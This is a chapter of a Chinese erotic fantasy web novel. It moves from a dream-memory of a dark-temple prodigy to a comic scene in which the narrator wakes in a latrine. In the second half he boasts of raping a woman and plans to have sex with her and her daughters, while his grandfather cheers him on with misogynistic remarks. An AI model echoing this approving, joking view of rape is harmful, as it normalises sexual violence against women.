阿里布達年代祭16[玄幻武侠]

 
  很小的時候,我聽人說過,正常人眼中的世界,有著美麗的五顏六色。最初聽到這些話的時候,我非常的困惑,不能理解「顏色」這個詞所代表的意思。
失去色彩的世界是什麼樣子?一般人大概不會知道那種滋味。整個天地,就像是由一大片潑墨畫所組成,不分黑白,惟見明暗,或者……該說是光與暗,這兩個在我生命中糾纏不休,直至最終的字眼。
「夏洛堤,你應該感到很驕傲,死白眼的存在千萬中無一,你是上天所選擇的絕世英才,我黑暗世界的王者。」
死白眼,是人們對我雙目的特殊稱呼,雪白的瞳孔,看起來與瞳仁毫無分別,彷彿有眼無珠,近似煉獄中的惡鬼羅剎。正是這雙眼睛,在我誕生時嚇壞了接生的產婆,她那震耳欲聾的尖叫聲,即使在多年以後,都好像還在我耳邊迴繞。
噪音很吵鬧人,這點無論是哪個時代都一樣,或許就是因為這理由,產婆成為了我出世後的第一份祭禮,也是第一個犧牲者。一隻血紅色的巨掌,將她的頭顱打得粉碎,餘勢未停,把那個生我出來的女人一掌轟殺。
「太好了!歷經十年失敗,擁有死白眼的黑暗之子終於誕生了!這孩子將會稱霸整個黑暗世界,成為黃土大地上不滅的恐怖傳說。」
這句話,由那個給予我名字的人口中說出,也就是我的父親,暗之神宮七大祭司中的安格斯。酷西塔,當今世上最頂尖的死靈學者。
對於我的出世,父親他非常的興奮,因為這代表著他長年的研究,終於獲得了回報。死白眼,對一般人只是一種恐怖的眼睛,但對鑽研黑魔法的術者而言,死白眼卻有非凡意義,因為那代表著掌管冥界的王者,擁有著獨一無二的特殊靈魂,有數種幾乎不可能被生物修練的邪惡魔法,僅有這種體質才能進行修習。
當時,暗之神宮有多項研究已達數百年,甚至千年的艱難課題,都碰到了不可逾越的瓶頸,陷入停頓,這些強大魔法在執行上最困難的一點,就是執行時需要特殊體質、特殊資質的生物,作為發動的操作者,而這些受到特殊限定的操作者,往往幾千年都未必能找到一個。
成為暗之神宮的祭司後,父親苦思多年,突發奇想,提出了一個過往前人所未見的方向,就是主動製造開啟門扇的「鑰匙」。這項研究是秘密進行,歷時十年之後,父親他最引以為傲的作品誕生,就在那一晚,我來到人世,而另外數十個與我一同分娩的「兄弟姐妹」,則是無一例外地胎死腹中。
「夏洛堤,你知道嗎?一將功成萬骨枯,一個人所建的功業越大,腳下所踏的屍骨就越多。你一出世,就有過百條生命成為贊賀你的祭禮,日後你必將立於千萬人之上,成就不世霸業。」
黃土大地之上的黑暗帝王,這是父親對我的期望,自我開始懂事,我就慢慢瞭解到,父親是個具有高度才氣與野心的不凡之人,也就正因如此,我並不是在父親的教養下成長,而是經過巧妙的安排,以咒術封住死白眼,隱藏住我最大的秘密,讓我拜在東條英夫老師……也就是神宮七大祭司之首的門下,修習技藝。
當時,整個黃土大地都被戰火給覆蓋,各個大小國家、組織勢力之間混戰不休,漫天烽火已經燒了將近五百年,所有人為了各自的信念與利益,分屬不同陣營,展開了漫長的廝殺。
戰爭……是一件很混亂的事情,當交戰的時間長了,太多人因為不同的理由而流血倒下,漸漸地,人們忘記本來之所以戰鬥的理由,人與人之間累積了太多的仇與血,開戰的大義名分再不重要,戰爭只是為了斷彼此間的深仇血怨,在無數次的報復中,時光迅速流逝,就這麼過了快五百年,到最後……這個戰國時代為何開始的理由,已不再有人重視、有人記得……
黃土大地上的大小勢力雖多,卻是以兩大神宮為首,「光之神宮」慈航靜殿、「暗之神宮」拜月邪教,兩大神宮代表著黃土大地上的正與邪、善與惡,率領著各自麾下的勢力,進行漫長的抗爭。
假若真是道消魔長,又或是魔高一丈,兩大神宮的勝負應該早就分出來了,可惜,天道運行的軌跡非人能測,兩大神宮長期敵對,歷經無數戰役,實力互有消長,但卻始終勢均力敵,這是黃土大地全體的不幸,然而,度過了悠久的競爭歲月,兩大神宮卻因此而能人輩出,彼此的魔法與武道也在不斷攻防間突飛猛進,到了這十年,更是戰國時代開展以來最傑出的一代。
光之神宮的首席強者,並不是慈航靜殿的方丈,而是本代方丈的師兄,大地上首屈一指的聖騎士阿爾方斯。休。卡穆,所修練的大光明法,是慈航靜殿的特殊異術,大成之後,無懼一切暗屬性魔法;阿爾方斯的武功當代第一,霸絕天下,十五年前又逢奇遇,在沙漠都市奪得創世聖器斬龍刃,從此便縱橫無敵,直至今日。
暗之神宮的第一高手,則是統治神宮的七大祭司之首,東條英夫,堪稱是近五百年來拜月邪教最偉大的魔法天才。憑靠著通天魔法,他不斷地使老化肉體重生,至今已超過兩百歲,在戰場上所立下的輝煌成績,無論是一招屠城,又或是隔著千里之遙咒殺敵手,這都已經成為敵人口耳相傳的恐怖神話。
光之神宮、暗之神宮,在這兩大強人的領導之下,幾乎每個月都爆發戰鬥,戰況激烈,卻是遲遲分不出決定性的勝負。回顧過去的歷史,展望未來,無止盡的烽火是我們唯一所見,看不出什麼時候有終結的可能……這就是我所存在的年代。
父親讓我用咒布封住死白眼,偽裝失明,更隱藏住我最大的秘密,以其他身份拜在東條老師的門下,作著某種佈局,這點就連當時仍幼小的我都能明白。
能夠成為七大祭司的門徒,這是暗之神宮子弟的頭等榮耀,但這份榮耀並不易享,因為精英教育意味著無時不刻的激烈競爭,分分秒秒身邊都有人被淘汰,而淘汰所代表的自然就是死亡,永無翻身機會。
或許我真是天意命定,要立在人們頭上的王者,所以才能在諸多考驗中履險如夷,不住取得突破,成為東條老師眼中的精英,他對我有很深的期許,一直希望我日後能成為暗之神宮的大將,助他掃平所有強敵。為了達成這份期望,東條老師傾囊相授,把他所獨創的幾種厲害魔法都傳授給我。
「……看到你,我就像看到暗之神宮的新世代。你雖眼盲,但資質不凡,又能得我真傳,他日在我扶植之下,必會成為我黑暗世界的新領袖,只是可惜,你生性孤僻,獨來獨往,沒有結交什麼朋友……只有一個人,是成為不了領導人的。」
東條老師曾對我這麼說過,我不太瞭解他的意思。朋友,是修練所不需要的東西,自小成長的過程,教會我學懂了絕對不相信任何人的寶貴道理,若我身邊有所謂的「朋友」,根本無法存活到今天,每一個擺出朋友面孔的人,都只會在我放鬆警戒的時候,冷不防地把暗劍刺出來。
事實上,別說結交朋友,我甚至連他們的臉都不記得。除了父親與東條老師,我身邊其餘的人都是弱者,在淘汰的過程中快速隕落,我身邊總是換著不同的面孔,來來去去,橫豎都是輕易被淘汰掉的弱小東西,哪有需要特別記住他們的臉孔?
這樣的情況持續了很久,直到有一天,東條老師帶我拜訪故交,我生命中才意外多了另一張新面孔的記憶。
東條老師的這名故交,是暗之神宮中響噹噹的人物,本身是已入魔的狂戰士,在北方建立一座地下堡壘「佛尼厄魔堡」,飼養、製作無數魔物,開礦鑄兵,屢屢為暗之神宮立下大功,自命正道的俠義份子屢次進攻,都成為魔堡的犧牲者,屍骨也給煉化成不死士兵,作為魔堡的新戰力。
魔堡令無數正道中人聞名喪膽,而魔堡的主人則是東條老師故交,當我們在堡內大廳見到那威名赫赫的狂戰士,我感受到他的不凡力量,卻也肯定若給我充足時間與鍛煉,三五年後我將超越他,擁有將他殺滅的修為。
「東條兄,你有一名很優秀的弟子啊,我感受到這孩子的不平凡,日後大地上將因此染遍鮮血啊。」
「那就讓慈航靜殿的賊禿們為此付出代價吧,夏洛堤即將以我弟子的身份上陣作戰,我此行到訪,是因為聽說你有一個很奇特的養子,在魔法上提出了新奇的理論……」
東條老師與狂戰士進行討論,我藉口無心聆聽,退出去休息。其實,無心是假,奉命探查佛尼厄魔堡的虛實是真,至於為何要探查與紀錄,這不是我該關心的問題,或許東條老師已經開始作著準備,要在將來的哪一天,把他正談笑以對的這位友人斬盡殺絕地消滅。
魔堡內外守備森嚴,地下城的結構,十步一兵,在每個不起眼的小地方都有機關陷阱,不負它的盛名,可是,出奇地,堡內的氣氛有一些不協調,堡內的骷髏妖、牛頭人……神態與動作都很反常,看來少了應有的凶戾之氣,卻多了幾分人味,交頭接耳,竊竊私語,那個樣子……我第一次覺得這些東西不像妖獸魔物,卻像……人。
它們的手中都拿著一張小紙片,聚精會神地盯著細讀,好像上頭寫著什麼無比重要的大事,而它們看著手裡的紙片,還不時探頭往別人手上的紙片張望,不過每個人又都把手中紙片守得牢牢,彷彿那是天大的秘密,不能給別人看到。
妖獸們都是從同一個方向過來,我受到吸引,很自然地朝那個方向過去。過不多時,我在一間石室前頭停下腳步,隔著石門,我感到一股壓力,讓我生出忌憚,不敢輕易把門打開。
我在畏懼什麼?這還真是奇怪。
門裡頭所散發出的那份壓力,是我不曾有過的感覺。這與那個狂戰士或東條老師所散發的壓迫感不同,不是那種絕頂高手造成的壓力,是一種……沒法用言語形容的恐懼,彷彿我只要打開這扇門,我所熟悉的一切就會有所不同,一種由未來向過去傳達的隱約訊息,讓我產生了恐懼。
該開門嗎?或者該就此離開?
這個抉擇不僅當時令我遲疑不已,就是到了多年以後,每當我回憶起這時候,都陷入深深的困惑。
唉……如果我選擇不打開這扇門,一切或許就會不同了,這對我、對很多人來說,都該是一件好事,無奈我的一生就是如此倔強、如此固執,遇到擋在我面前的東西,我不懂得退避,征服與超越是我所選擇的道路,無論前頭擋路的東西是什麼,我都只懂得踩踏過去。
正因為我是這樣的個性,我心裡越是恐懼,越是不願服輸,毅然決然地伸手推開了石門。
「呀~~~」
長長一聲,石門開啟,我偽裝眼盲,目不視物,但卻修練教中秘術,能分毫不差地感應周圍三尺的事物,形如親眼所見,只不過……我實在沒想到,石室裡頭的人居然是這個樣子。
不是什麼形貌猙獰的惡獸,也不是什麼氣勢驚人的高手,石室裡只有一個相貌清秀的少年,十幾歲的年紀,看來與我相若,見到我的那一瞬間,他錯愕地張大了口,手指著我,十分驚訝的樣子。
只是這短短一剎那,我就已經肯定,這個少年不是什麼強者,不過是一頭弱小的東西,我隨手輕輕一捏,就能把他給了結。從能力上來說,是個廢物中的廢物,沒有多少威脅,我不明白剛才所感受到的那種恐懼究竟因何而來。
「……今天的一百人已經看完了,明天請早,還有……閣下是哪一位?地下城裡沒見過閣下這張臉啊……」
「我叫夏洛堤,拜月教東條英夫大祭司門下,隨著老師同來,你……」
「夏洛堤?這名字確定沒有錯?閣下看起來……」
「我叫夏洛堤,這名字有什麼問題嗎?」
「沒有,我只是覺得有點奇怪……算了,我不負責管別人的名字,你喜歡叫什麼就叫什麼吧,今天的看診已經結束了,你改天再來吧。」
「看診?你是醫生?」
我遇到了一個奇怪的人,這個貌不驚人的少年,居然是地下城的醫生。照理說,一般精通醫術的魔法師,都是修練光明魔法,但黑暗世界有著不同的狀況,修練黑暗咒術的巫者、魔物,碰著光屬性的治癒咒文,都會造成嚴重灼傷,所以有了傷勢,必須要靠黑魔法中的血祭、蝕魂咒法,來進行治療。
在這個少年的身上,我幾乎感覺不到魔力波動,儘管他穿著一襲魔法師的黑色長袍,不過他的魔力卻弱小到快要不存在,一個魔力如此低微的術者,怎能成為醫生?這是我所想像不到的事。
「沒有啦,不算醫生,只是幫忙大家診斷一下,發現他們的問題,進行分析而已,不是你想像的那種醫生。」
他確實是一個奇怪的少年。在黑暗世界裡,汰弱留強的競爭每天在發生,這座地下城自然也不例外,絕不可能養一些吃閒飯的廢物,每一份子都有其存在的價值,但在一個純戰鬥的組織體系中,這少年卻扮演一個匪夷所思的角色。
性愛診療師!
這少年是地下城內為數無多的幾個人類之一,天生體質特殊,練武不成,修習魔法也一塌糊塗,最後當起了地下城內唯一的性愛診療師,專門幫地下城內的魔物診療性慾問題,凡是該舉不舉、舉而不挺、鋌而不堅、堅而不射的種種生理與心理問題,他都能夠幫忙診斷分析,提出治療方法。
治療效果如何,我不感興趣,但從剛才那些魔物們離去時,一個個用力點頭的模樣來看,至少這大夫確實是大熱門,所以才搞到每天限看一百名病患,排不上隊的要明日請早。
「你是客人……該不會是聽過我的名氣,專程慕名來找我的吧?」
「不是,我對你沒有任何興趣,只是意外走錯門而已。」
「是喔,那……衛生間在出門後右拐,第二個通道,下去三十七層階梯,往右一跳,再過個天橋就到了……呃,我只是開個小玩笑,你不是把我的話當真了吧?」
「沒有,而且我也不是來找衛生間的。」
這是謊話,其實我險些當真了,因為我能分辨一個人說話的真與假,卻不太分得出玩笑話這種東西。在黑暗世界生存,並不需要笑話,過去也不會有人膽敢跟我開玩笑,所以……這還真是我的寶貴初體驗。
沒有意義的玩笑,我沒有興趣浪費時間,但在我離開的時候,少年出言挽留,希望我能夠多多造訪他這裡。
「……你知道的,地下城裡的大家雖然親切,不過這裡沒幾個人類,尤其是……像你這樣的人類,你對我研究的魔法有很大幫助,希望你能常來,我會很感謝你的。」
臨走前,這個少年用力握著我的手,百般不捨地讓我離開。後來我聽東條老師說,這個少年本是被扔在佛尼厄魔堡外的棄嬰,意外被收養後,多年來一事無成,武技、文事、魔法全都不成,是個百分百的廢物,但幾個月前不知怎麼搞的,這個廢物竟然另辟快捷方式,打開了一條前人所未見的道路。
他所施放的結界、所召喚的魔獸,儘管威力不強,但卻是超越於現有魔法體系外,不屬於六大魔法系別的神奇力量,這個消息目前被封鎖住,沒有傳到外界,僅有教中高層得知,但卻已經令七大祭司一起被驚動,東條老師更為此親自出馬,專程來瞭解此事。
「不屬於六大魔法系別,那就代表這種力量不受現有魔法的克制,是一種無法被克制的新力量。夏洛堤你知道這代表什麼嗎?若它真有我估計中的威力,那它就是無敵!」
在回程路上反覆提及此事的東條老師,顯得異常興奮與激動,不過,他此行目的並沒有達成,佛尼厄魔堡的主人並非蠢蛋,既然知道手中握著的王牌是奇貨可居,他又怎麼會讓這名「養子」與東條老師面對面接觸?兩個人幾乎是不歡而散,若不是我機緣巧合見了那少年一面,東條老師此行就毫無結果。
「……一個這麼普通的少年,怎麼可能開發出新的魔法系統出來?即使說是誤打誤撞,這也太不合理了,一定是有人在背後輔助,又或者……是他得到了什麼異寶!夏洛堤,這件事至關重要,你要協助為師,把這秘密給找出來。」
東條老師的任命,這樁工作落在我肩上,不久之後,當此事傳入父親的耳中,他暗中囑咐我務必要完成命令,這件事就變成我義無反顧的任務。
佛尼厄魔堡不是可以隨意進出的地方,但我卻因為接受那少年的邀請,開始不算頻繁地造訪他的實驗室。少年很難得接觸到同類,似乎是因為這一點,他對我的來到非常開心,每次都急著要我幫他做實驗。
少年所做的實驗,和我所見過的任何一位黑魔法師做的都不同,他不是搞什麼血祭,也不是進行什麼大召喚,只是讓我坐在椅子上,用一些奇怪的管線貼在我額上、手腕上,記錄我的心跳與呼吸,我不明白這實驗是什麼,他就向我提出解釋。
「我對女性很不瞭解,尤其是女人心理,這個怎麼看書都研究不出結果來,所以只好請你幫忙了。」
「但……我不是女人。」
「就算不是,起碼你也還是人啊。沒有百分百符合條件的,有個符合一半的也成,地下城裡現在除了我,根本找不到活的人類,最後一個上周陣亡了。」
少年露出一副很遺憾的表情,我不瞭解他到底想做什麼,但弄懂這個,正是我之所以到這裡來的理由。
與人聊天談話,這對我是一件全然陌生的新鮮事。聊天、說話,並不能讓我強大,如果在無意之間說得太多,還會暴露自己的弱點,所以,過往我並沒有與人長時間會話的習慣。
「先從最基本的開始談起吧……呃,你一個禮拜會自慰幾次?自慰的感覺怎麼樣?怎麼樣自慰比較容易達到高潮?」
「………」
「怎麼……很難回答嗎?」少年抓抓頭,很懊惱地把頭偏過一邊,想了一想,好像發現了重要問題,這才心虛道:「該不會……你沒有自慰過?」
「一次也沒有。」
我回答的口氣很冷,少年察覺到我的不悅,訕訕道:「沒自慰過也不打緊,其實我自己也沒有自慰經驗,這種事情……嘿嘿,我也只是一知半解,本來應該找個女人來學習的,但最近攻擊地下城的探險隊裡沒什麼女人,勉強有一兩個,唉……阿婆雖然也算是女人的一種,但我的自尊……」
少年所掌握的神秘魔法,似乎與「性慾」有密不可分的關係,所以他整個研究都圍繞著性打轉。佛尼厄魔堡裡的牛頭人、蜥蜴怪……等魔物,雖然也有性慾,但真要做這方面的研究,觀察對像還是以人類為佳,偏生魔堡裡沒剩下幾個人類,這才逼得少年要找我協助,想想也真是辛苦他了。
可惜,兩個沒什麼性經驗的人碰在一起,是不可能研究出相關成果的,少年在幾次徒勞之後,也發現了這一點,不過難得看到人類的他,對於能夠和同類說話一事顯得很興奮,漫無邊際地與我閒聊。
我對閒談沒有絲毫興趣,只為了探查秘密而來,所以一個問題交換一個,他問我答,然後我問他答。沒過多久,我就整個摸了清楚,少年的魔法並非原創,而是在攻擊魔堡失敗的探險隊屍骸中,發現了一本古老的秘笈,上頭記載一種失傳許久的黑暗魔法,魔堡主人隨手贈給了這個一事無成的養子,期望他能夠證明自己的剩餘價值。
任務到這裡可算是完成了一半,至於我為交換這秘密而付出的,則是一些微不足道的瑣事,那甚至算不上情報。
「你是什麼地方的人?家裡有什麼人?」
「我沒家人,只是個被教廷選中的孤兒,成為東條老師的弟子,父母……聽說都被慈航靜殿的人給殺了。」
聽我這麼說,少年露出了同情的表情。
「我也是孤兒,你的感覺我部分能體會,不過父母雙亡的滋味我現在滿難想像,因為我根本不知道他們是誰。」
「這種事情與我沒有關係。」
「說得也是……孤兒也分很多種,不能一概而論,失禮了。」
少年總是用一種笨拙的表情在道歉,那模樣看起來實在是很讓人生氣,我一直要到很久之後,當我累積了足夠的閱歷與智能,回憶往昔,才恍然發現他是在嘗試安慰我。
「那……你未來的志願是什麼?將來打算做什麼?」
這是個蠢問題,我不該照實說的,但因為初次碰到這樣的問題,我本能地回答,「我要成為黑暗世界的帝王,爬到權位的最高峰,讓大地上的每個角落,都染滿我殺戮留下的鮮血,踐踏所有敵人的屍骸,成就萬世不滅的偉大傳說。」
一番話說完,我為了自己的失態而後悔,但少年卻是用一種超級佩服的讚歎眼神望過來。
「太了不起了,你說的志願,我連想都沒有想過,將來你一定會是惡魔中的惡魔。」
「人生在世,本來就該幹大事,要不然,你將來打算做什麼?」
「這個……我只是一個不入流的小術士,哪能做什麼?」少年摸摸頭,笑道:「只要每天有碗飯吃,有工作做,隔天早上醒來還會呼吸,那樣就很好了。」
真是個平凡到接近庸俗的志願,我們沒有再談下去,這次的協助實驗由於時間到而結束,我離開了魔堡,向東條老師提出報告。
儘管時間不長,但這次的協助實驗給我留下深刻印象,過去十幾年我從不曾像這樣與人說這麼多話。
少年是個嚮往平凡的人,與注定要燦爛的我,是兩條不會交集的並行線,待這次任務整個結束,我可能這一世都不會再見到他。
然而,分別的時間比我預期得更早,當我數日後再次造訪魔堡,卻得知少年被一支人類的精銳突擊隊攻入擄走,目前下落不明,這時我才發現,先前兩次見面,我竟連他的名字都忘了問。
站在魔堡門口的那個骷髏妖,想了一會兒,用它健忘的腦袋很吃力地給我答案。
「他……姓什麼我記不得了,反正也是亂取的,至於名字……對了,他叫法米特,就是這個名字!」
◆ 第二話:夢醒時分.惡臭滿身
作夢,對我而言並不是一件太陌生的事。我不常失眠,通常都睡得很好,尤其是在一場火辣辣的性交後,很難睡得不好,而作夢則是熟睡的副產品,無論睡得好或不好,夢境自然產生。
好夢、惡夢,我都有過,裡頭我最愛的就是春夢。身為淫術魔法的繼承人,我的手腕又好,照理說在女人方面應該再無遺憾,不過人心總有缺憾,這些沒法完成的遺憾在夢中出現,對我就有極大的吸引力,至少,我就曾在夢裡幫阿雪開苞開過幾十次。
日有所思,夜有所夢,作為對白日種種遺憾的投射,我在夢裡狠狠破開阿雪的處女,這是很正常的。不過,有一種情形不屬於這理論,當有一束思想波侵入我腦子,思想波裡所附載的畫面、聲音,就會在我腦中投射,形成類似夢境的存在。
這種現象通常是魔法中的心電感應,但思想波不一定是來自活人,即便是亡者,也會有自己的思想波,只不過斷斷續續,保存不完全而已。思想波對亡者來說,是他們的記憶,也是最後的靈魂,假若這些思想波與活人有所接觸,並且形成交互干擾,這種看似複雜的靈學現象,有個很簡單的稱呼,就是「托夢」。
我對鬼魂沒有好感,更想不到托夢這種事會發生到我身上來。剛才,無數的畫面與聲音飛快掠過,我彷彿作著一場悠久之夢,整個意識與夢境主人結合,聆聽他所聽到的東西,感覺他的每一個思想,鉅細靡遺。
儘管差勁,但我好歹也是一個魔術師,這場「托夢」沒開始多久,我就察覺不對,在睡夢中半清醒了過來,細心觀察,想知道這是什麼靈體的托夢。
夢境的主人翁,身份非凡,死白眼的存在我幾乎連聽都沒有聽過,只有在古書中曾閱讀過相關資料,並且在黃晶石的記錄中有見過隻字片語。據說,擁有死白眼的人,流著冥府皇族的穢血,除了能使用幾種冥皇專屬,不存在於人間的究極魔法,更能夠開啟人間與冥界的通道,換句話說,這也是打開境界通道的一種方法。
(天下烏鴉一般黑,地上壞人一樣賊,原來幾百年前就有壞人想開境界通道,這世上壞人想的事情怎麼都差不多啊?真是前赴後繼……)
我滿佩服夏洛堤父親的膽識與魄力,雖說他的名字不見於史冊,但他似乎是第一個嘗試以人工方法製作特殊血裔的人,如果不是他開了這條路的先端,後世的伊斯塔也就無法繼往開來,那就更不會有阿雪的誕生了。
至於這位安格斯大祭司,把手中王牌藏在東條英夫門下,這肯定會是一次驚天動地的暗算行動。黑暗世界的爭權奪利,從來也不曾停歇過,之前沒有,現在也不可能,但是這些我約略聽過的人名,我忽然察覺到一件很重要的事。
拜月邪教、暗之神宮……這些名詞的存在,距離現在起碼是五百年前,換言之,這個夏洛堤是五百年前戰國時代的人物了。
我最近有和什麼五百年前的老古董接觸過嗎?
無頭騎士!
在日前的一戰中,我曾經被它的一擊給傷著,也許就是那一擊的接觸,它的思想波隨著魔力傳入,這純粹是一種意外,但卻給了我窺視無頭騎士過去的機會,堪稱是千載難逢的良機,因為五百年前的情報實在是很難調查。
而從夢境中所得到的訊息看來,夏洛堤這個人,簡單來說……就是走在路上,讓我最想痛扁的那種人。這個人冷淡如冰,有非常傑出的本領與自信,在自己所擅長的範圍內,堪稱是絕對的精英,所以目光只放在自己要走的道路上,對於路旁存在的其他事物,連看都不看一眼,這種高傲的精英分子,是我最討厭的那種人。
如果夏洛堤當真是無頭騎士,那麼,最起碼它真的實現了志願,成為大地上不滅的恐怖傳說。
相形之下,那個在夏洛堤記憶中佔有重要份量的少年,就顯得很平凡,甚至可以說,在那種特殊環境下,這種「平凡」堪稱是一種異常。我是一個很注意異常地方的人,沒有過多久,我就發現這個平凡的少年很不對勁。
與我腦中的資料相印證,一個不太可能的荒唐答案,在我腦海裡浮現。
(不會真的是吧?那兩個人……是朋友?這真是太扯了。)
結果最後聽到的那一句話,證實了我的猜想,那一瞬間的劇烈震撼,彷彿是一個恐怖的惡夢,把我嚇得差點醒過來。
哦,不,是真的醒來了,眼前的景象朦朧一片,夢中的清晰景象迅速離我遠去,這點令我扼腕非常,因為能夠讀取無頭騎士記憶的寶貴機會,不是想有就能有,這次一醒來,以後不曉得還能不能有這種機會。
(等等,我睡著之前在做什麼呢?呃,那時候我好像是在強姦白牡丹,幹完就昏睡過去了,我現在清醒過來……嘿嘿,旁邊該不會是白牡丹的裸體吧?那正好方便我再搞她一次。)
白牡丹是大美人一個,又是羽霓、羽虹的親娘,她成熟美艷的肉體,對我有很大的吸引力,想到能夠多干她幾次,把精漿注入她自宮裡頭,日後搞不好再生出霓虹這樣的小美人,這種想像讓我興奮莫名,下身禁不住起了生理反應。
可是……為什麼我耳邊聽到一些奇怪的聲音呢?
「哇!好噁心啊!」
「師父的下面硬起來了!他在做什麼夢啊?褲子變成帳篷了。」
「你們這些小輩,真是大驚小怪,這是我們南蠻最高明的宴會絕技,殭屍復活!是青春少男的正常生理活動。」
好多人的聲音在耳邊吵雜,我睜眼一看,赫然發現自己正躺在床上,而床的周圍全都是人,羽霓、羽虹、阿雪、白瀾熊、萬獸尊者……全部都圍繞在我身旁,用很古怪的眼神望著我,視線的焦點……自然是我那怒舉的下身。
「你……你們看什麼看,全都給我滾出去!」
惱羞成怒,我大發脾氣,把房裡的人全部趕了出去,只留下萬獸尊者與白瀾熊,為我解釋到底發生什麼事。
根據他們了的說法,我甩開他們獨自離開後,沒過多久,就聽到羽族女戰士叫嚷起來,說是我赤身裸體,失足落水,幸虧發現得早,不然就溺斃了。
「等等……我失足落水?意思是說,我是掉進水塘裡?但我記得這裡好像沒有水塘啊。」
我話才說完,白瀾熊便在我肩上一拍,想笑又不敢笑似的,尷尬道:「約翰,你說得對,這裡確實沒有水塘,所以……她們是在糞坑裡發現你的,唉,你也真是的,不過少少喝了幾杯,走的時候還很清醒,怎麼上個廁所就上到跌落糞坑了呢?」
難怪,我隱約覺得身上有股不好聞的氣味,原來是跌落到糞坑裡頭去了。照理說,我全身應該是臭氣熏天,不可能像現在這樣,僅餘少許異味,這種事情唯一合理的解釋,就是阿雪和霓虹幫我洗過一遍身體了。
「那幾個小妞把你擦乾洗淨後,你仍是沒有醒過來,大家聽到你出事,就全都趕了過來,結果你好像作起了怪夢,胡言亂語的,搞得大家不曉得該怎麼辦,最後你下面突然搭起帳棚,把周圍……」
「夠了,我勃起這件事正如外公所說,既然我是一個正直青春的青年,那偶爾睡醒勃起一下,也是可以理解的,請千萬不要大驚小怪。」
我一番話出口,萬獸尊者與白瀾熊立刻捧腹大笑,讓我一點面子都保留不下來。明明昏睡前還在干美女的我,會突然現身糞坑,這件事白牡丹絕對脫不了干係。這個女人也算是夠辣的,我不過是強姦了她一回,說來她還有爽到,不算完全受害者,可是她居然趁我昏睡,把我扔進糞坑裡作報答?真是過河拆橋,一點良心都沒有。
真的要是報復我,怎麼不直接一刀把我給宰掉算了?想來是因為霓虹的反應,讓白牡丹心存顧忌,不敢直接幹掉我,而且回憶當時的情景,未來還潛伏在房子裡,這小子雖然與我不睦,但還不至於眼睜睜看我被殺,白牡丹心有所忌,沒下殺手,這也是可以理解的,然而,未來明明就看到我給人扔到糞坑,卻不曾出手救援,那也說得上沒良心之至。
「嘿,偷香竊玉,年輕人真是有活力,讓老夫回想起當年啊。只要最後有到手,過程中的小小瑕疵,反而更能平添樂趣。」
萬獸尊者是何等樣人,我找藉口偷溜,實際上偷跑去搞女人,這種小動作哪能瞞得過他,只是故作不知而已。「不過,這樣子真的好嗎?」白瀾熊道:「白牡丹與霓虹關係匪淺,她們兩姊妹幾乎是把白牡丹當成最後的親人在看待,你這樣子強上了白牡丹,日後被霓虹知道,會不會……」
白瀾熊把親人兩個字說得特別大聲,我知道他在暗示什麼,以他的精明厲害,我都看出來的事情,他不可能連一點懷疑都沒有。
這一點確實讓我感到心虛,可是,自己的貪慾戒除不掉,我對財富、權位的興趣不是沒有,但可以克制,唯有碰到想上的女人時,這種強烈慾望很難克制的,雖然知道可能有嚴重後果,但只要沒有嚴重到殺身之禍,那就直接無視了。
「去!不過就是搞個婆娘而已,女人天生就是該被搞的,有什麼好顧忌?」萬獸尊者哂道:「我萬獸尊者的外孫肯幹她,是她的天大榮幸,應該兩腿開開,躺在床上等著,哪到她說個不字,至於那對霓虹姊妹,要是有什麼意見,那就抓來一起干了。」
「呃……外公,抱歉,補充一下,她們兩姊妹我很久以前就幹過了,現在我還常常幹呢。」
「幹得好!天下英雄本好色,你如此風流,這才做得上我萬獸尊者的好外孫,哈哈哈。」
萬獸尊者豪邁地大笑,儘管我對這位外公的行事作風,很多地方並不認同,但卻也無法否認,他對我真的很不錯,時時刻刻讓我感受到背後有人在支持,如果我家的變態老爸也能像他這樣,那……算了,太噁心,還是不要做這種無謂的想像吧。
白瀾熊聽萬獸尊者這麼說,自然是沒有意見,只是用言語巧妙奉勸,要我想清楚,別因小失大。
這些建議很寶貴,白瀾熊是真心在為我擔憂,所以才會這麼提出建言,可惜,白瀾熊雖然貪戀女色,但卻不是好色之徒,更不會為了上一個女人去惹火上身,所以他瞭解不了我的感受。
單單只有一個白牡丹,對我已有很大的吸引力,更別說我在白牡丹身上見到了美好願景,假使一切順利,我能夠順籐摸瓜,把白牡丹和霓虹都搞到床上,大玩一皇三後的火辣性遊戲,這麼過癮的事,哪怕我拋頭顱、灑熱血,都要想辦法完成。
母女同床,對於我輩淫界之徒而言,是至高無上的性幻想,每一個要被稱為大淫魔的男人,如果一生中沒搞過幾次,那甚至會被同好恥笑,不過是個坐井觀天的膚淺之人。
我早年在阿里布達的時候,也曾在妓寨中找過幾次姊妹、母女之類的同床,但雖然她們有出示身份文件,妓寨的老鴇也拍胸保證,我搞的那些絕對是母女沒錯,但那些女人庸脂俗粉,搞她們的感覺像是業務員在做業績,搞是搞了,但一點爽的感覺都沒有。
白牡丹的出現,無疑是完成了我長期的夢想,更難得的是,不僅白牡丹是美人,她兩個女兒更是萬中挑一的小美人兒。一個熟艷的母親,兩個女兒一個帥氣,一個俏麗,三具各有風味的胴體橫陳床上,猶如三朵盛放的鮮花,那種璀璨得讓人睜不開眼的景色,真是想想都要流口水。
(媽的,這種搞人母女的痛快事,就算不能天天干,起碼也要幹上幾次,要不然豈不是枉為男兒身了?老白,你說的是沒有錯,但我們這些平凡人的感受,你這個英雄好漢哪會瞭解?這次是聽不得你的勸告了。)
假如茅延安也在,想必就能理解我的想法,這個不良中年的不良面,正好與我臭味相投,現在眼看我即將成就「大業」,卻少了一個知音,這是何其寂寥?何其遺憾啊?
「唔,這種搞人母女的痛快事,一輩子如果不能搞上幾次,那豈非枉為男兒身?為了這理想而承擔風險,我認為是值得的。」
咦?不良中年不在,是何人如此瞭解我的理想?
我又驚又喜,急急忙忙一下回頭,尋覓發話的對象,卻看到萬獸尊者摸著須鬃,笑吟吟地看著我。
「寶貝外孫,古往今來的男子漢,作法雖有不同,但胸中懷抱卻都是一樣的啊!」
「……外公,這一句是對的,但人家說的是男子漢,不是宅男。」
◇◇◇
重要的機密情報,當然是要緊緊握在手上,不能輕易讓人知道的,可是如果我一個字也不透漏,那我這次的汙名就難以洗刷,真的要稱為一個大汙點了。
「所以……師父之所以喪失神智,意外掉到糞坑去,是因為感應到了無頭騎士的思念波,為了要讀取那份思念波,才會失去意識的?」
「是啊,我本來是在蹲廁所的,忽然感應到無頭騎士的思念波,知道這機會千載難逢,立刻專心感應,哪會顧得了自己在什麼地方,結果……蹲太久,木板就穿了,我就掉下去了。」
